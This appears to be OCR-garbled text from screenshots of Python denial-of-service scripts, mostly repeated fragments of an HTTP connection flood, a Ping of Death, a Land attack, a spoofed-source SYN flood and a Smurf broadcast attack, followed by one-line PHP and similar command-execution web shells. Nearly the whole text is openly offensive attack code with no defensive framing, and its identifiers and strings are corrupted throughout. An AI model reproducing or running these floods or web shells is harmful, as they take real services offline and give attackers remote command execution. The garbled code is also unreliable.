s.sendall(f"GET / HTTP/1.1\r\nHost: {fake_ip}\r\n\r\n".encode('ascii'))
s.close()

1
P
3
4
5
6
7
8
9

N
= ®

attack num += 1

print(f"Attack sent: {attack_num}")
except Exception as e:

print(f"Connection error: {e}")

R
O VAW N

for 1 in range(Trd):
thread = threading.Thread(target=attack)
thread.start()

=
00 ~




def attack():
global attack num
while True:
try:
s = socket.socket(socket.AF _INET, socket.SOCK_STREAM)
s.connect((target, port))

s.sendall(F"GET / HTTP/1.1\r\nHost: {fake ip}\r\n\r\n“.encode('ascii'))
s.close()

1
P
3
4
5
6
7
8
9

N
= ®

attack num += 1

print(f"Attack sent: {attack_num}")
except Exception as e:

print(f"Connection error: {e}")

O~ B = =
vi B W N

for 1 in range(Trd):
thread = threading.Thread(target=attack)
thread.start()




def attack():
global attack num
while True:
try:
s = socket.socket(socket.AF _INET, socket.SOCK_STREAM)
s.connect((target, port))

1
P
3
4
5
6
7
8
9

N
= ®

attack num += 1

print(f"Attack sent: {attack_num}")
except Exception as e:

print(f"Connection error: {e}")

R
O VAW N

for 1 in range(Trd):
thread = threading.Thread(target=attack)
thread.start()
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def attack():
global attack num
while True:
try:
s = socket.socket(socket.AF _INET, socket.SOCK_STREAM)
s.connect((target, port))

s.sendall(f"GET / HTTP/1.1\r\nHost: {fake_ip}\r\n\r\n".encode('ascii'))
s.close()

1
P
3
4
5
6
7
8
9

N
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attack num += 1

print(f"Attack sent: {attack_num}")
except Exception as e:

print(f"Connection error: {e}")

R
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for 1 in range(Trd):
thread = threading.Thread(target=attack)
thread.start()
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def attack():
global attack num
while True:
try:
s = socket.socket(socket.AF _INET, socket.SOCK_STREAM)
s.connect((target, port))

s.sendall(F"GET / HTTP/1.1\r\nHost: {fake ip}\r\n\r\n“.encode('ascii'))
s.close()

1
P
3
4
5
6
7
8
9

N
= ®

attack num += 1

print(f"Attack sent: {attack_num}")
except Exception as e:

print(f"Connection error: {e}")

R
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for 1 in range(Trd):
thread = threading.Thread(target=attack) -
thread.start()
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try:
# Ping of Death U{3! A
pod_packet = IP(src=source_ip, dst=target_ip) / ICMP() / (message * packet_size)

print(f"\n[INFO] Sending {number_ packets} packets to {target ip}...")
for 1 in range(number_ packets):

send(pod _packet, verbose=False)

print(f"[INFO] Packet {i+1}/{number_packets} sent successfully.")

1
2
3
4
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6
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8
9

=
®

print("\n[INFO] All packets sent.")

[
[

except Exception as e:
print(f"[ERROR] An error occurred: {e}")
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pod_packet = IP(src=source_ip, dst=target_ip) / ICMP() / (message * packet_size)

print(f"\n[INFO] Sending {number_ packets} packets to {target ip}...")
for 1 in range(number_ packets):

send(pod _packet, verbose=False)

print(f"[INFO] Packet {i+1}/{number_packets} sent successfully.")
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print("\n[INFO] All packets sent.")
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except Exception as e:
print(f"[ERROR] An error occurred: {e}")
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try:
pkt = IP(src=target ip, dst=target ip) / TCP(sport=target port, dport=target port)

print(f"\n[INFO] Starting Land Attack test on {target _ip}:{target port}...\n")
for 1 in range(packets count):

send(pkt, verbose=False)

print(f"[INFO] Packet {i+l1l}/{packets count} sent.")

time.sleep(delay) .
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print("\n[INFO] All packets sent. Test completed.")
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except Exception as e:
print(f"[ERROR] An error occurred: {e}")
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Land attack

print(f"\n[INFO] Starting Land Attack test on {targdand attack I§Z] AHAM (pkt) . \n")
for i in range(packets_count): src = EFZLIP,

send(pkt, verbose=False) dst = E[ZLIP

print(f"[INFO| Packet {i+1}/{packets count} sent.")

time.sleep(delay)

print("\n[INFO] All packets sent. Test completed.™)

except Exception as e:
print(f"[ERROR] An error occurred: {e}")



Land attack

try:
pkt = IP(src=target 1p, dst=target 1p) / TCP(sport=target port, dport=target port)

print(f"\n[INFO] Starting Land Attack test on {target ip}:{target port}...\n")
for 1 in range(packets count):

send(pkt, verbose=False) EZU0|A| THZ] M&
print(f"[INFO] Packet {i+1}/{packets count} sent.") SI=HE= delay2} packets_count 0
time.sleep(delay) O S

print("\n[INFO] All packets sent. Test completed.")

except Exception as e:
print(f"[ERROR] An error occurred: {e}")



try:
for 1 in range(packet count):

src_ip = random _ip()

src_port = random_port()

ip_packet = IP(src=src_ip, dst=target_ip)
tcp_packet = TCP(sport=src_port, dport=target port, flags="S", seg=random.randint(1000, 9000))
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send(ip_packet / tcp packet, verbose=False)
total packets += 1
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print(f"[INFO] Packet {i + 1}/{packet count} sent: {src_ip}:{src_port} - {target ip}:{target port}")
time.sleep(delay)
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print(f"\n[INFO] SYN Flood attack completed. Total packets sent: {total packets}")
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except Exception as e:
print(f"[ERROR] An error occurred: {e}")




for iIiIIii'iii'iiiiiliil'iiilll

src_ip = random _ip()
src_port = random_port()
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ip_packet = IP(src=src_ip, dst=target_ip)
tcp _packet = TCP(sport=src_port, dport=target port, flags="S"J seg=random.randint(1000, 9600))
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send(ip_packet / tcp packet, verbose=False)
total packets += 1
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print(f"[INFO] Packet {i + 1}/{packet_count} sent: {src_ip}:{src_port} -» {target_ip}:{target port}")
time.sleep(delay)
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print(f"\n[INFO] SYN Flood attack completed. Total packets sent: {total packets}")
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except Exception as e:
print(f"[ERROR] An error occurred: {e}")
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for 1 in range(packet count):
src_ip = random _ip()

src_port = random_port()

ip_packet = IP(src=src_ip, dst=target_ip)
tcp_packet = TCP(sport=src_port, dport=target port, flags="S", seg=random.randint(1000, 9000))
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send(ip_packet / tcp packet, verbose=False)
total packets += 1
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print(f"[INFO] Packet {i + 1}/{packet_count} sent: {src_ip}:{src_port} -» {target_ip}:{target port}")
time.sleep(delay)
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print(f"\n[INFO] SYN Flood attack completed. Total packets sent: {total packets}")
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except Exception as e:
print(f"[ERROR] An error occurred: {e}")
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for 1 in range(packet count):
src_ip = random _ip()

src_port = random_port()

ip_packet = IP(src=src_ip, dst=target_ip)
tcp_packet = TCP(sport=src_port, dport=target port, flags="S", seg=random.randint(1000, 9000))
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send(ip_packet / tcp packet, verbose=False)
total packets += 1
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print(f"[INFO] Packet {i + 1}/{packet_count} sent: {src_ip}:{src_port} -» {target_ip}:{target port}")
time.sleep(delay)

print(f"\n[INFO] SYN Flood attack compl—{total_packets}“)

print(f"[ERROR] An error occurred: {e}")

el il
O 00 N O




def smurfattack(source_ip, broadcast _ip, count):

try:
icmp socket = socket.socket(socket.AF _INET, socket.SOCK_RAW, socket.IPPROTO ICMP)
icmp_socket.setsockopt(socket.IPPROTO IP, socket.IP_HDRINCL, 1)
icmp_socket.setsockopt(socket.SOL _SOCKET, socket.SO BROADCAST, 1)
print(f"[INFO] Sending {count} ICMP Echo Requests from {source ip} to {broadcast ip}...\n")
for 1 in range(count):
packet = IPHeader(source_ ip, broadcast ip, b'\x01') + CreateICMPRequest()
icmp socket.sendto(packet, (broadcast ip, 0))
print(f"[INFO] Packet {i + 1}/{count} sent."™)
time.sleep(0.1)
icmp _socket.close()
print("[INFO] Smurf Attack completed.™)
except PermissionError:
print("[ERROR] You need root privileges to run this script.”)
except Exception as e:
print(f"[ERROR] {e}")
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def smurfattack(source_ip, broadcast _ip, count):

tr
icmp socket = socket.socket(socket.AF _INET, socket.SOCK_RAW, socket.IPPROTO ICMP)
icmp_socket.setsockopt(socket.IPPROTO IP, socket.IP_HDRINCL, 1)
icmp_socket.setsockopt(socket.SOL _SOCKET, socket.SO BROADCAST, 1)
print(f"[INFO] Sending {count} ICMP Echo Requests from {source ip} to {broadcast ip}...\n
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packet = IPHeader(source_ ip, broadcast ip, b'\x01') + CreateICMPRequest()
icmp socket.sendto(packet, (broadcast ip, 0))
print(f"[INFO] Packet {i + 1}/{count} sent."™)
time.sleep(0.1)
icmp _socket.close()
print("[INFO] Smurf Attack completed.™)
except PermissionError:
print("[ERROR] You need root privileges to run this script.”)
except Exception as e:
print(f"[ERROR] {e}")
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def smurfattack(source_ip, broadcast _ip, count):

try:
icmp socket = socket.socket(socket.AF _INET, socket.SOCK_RAW, socket.IPPROTO ICMP)
icmp_socket.setsockopt(socket.IPPROTO IP, socket.IP_HDRINCL, 1)
icmp_socket.setsockopt(socket.SOL _SOCKET, socket.SO BROADCAST, 1)
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for 1 in range(count):
packet = IPHeader(source_ ip, broadcast ip, b'\x01') + CreateICMPRequest()
icmp socket.sendto(packet, (broadcast ip, 0))
print(f"[INFO] Packet {i + 1}/{count} sent."™)
time.sleep(0.1)
icmp _socket.close()

print("[INFO] Smurf Attack completed.") _

print("[ERROR] You need root privileges to run this script.”)
except Exception as e:
print(f"[ERROR] {e}")
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FH

<7php
system($_GET|[ 'cmd']);




FH

<7php
system($_GET|[ 'cmd']);




eval request cmd™)

SYSTem I ::'.I-::_'::T.l' ET [ ‘cmd’ ] | )

st .getParameter(”cmd™)







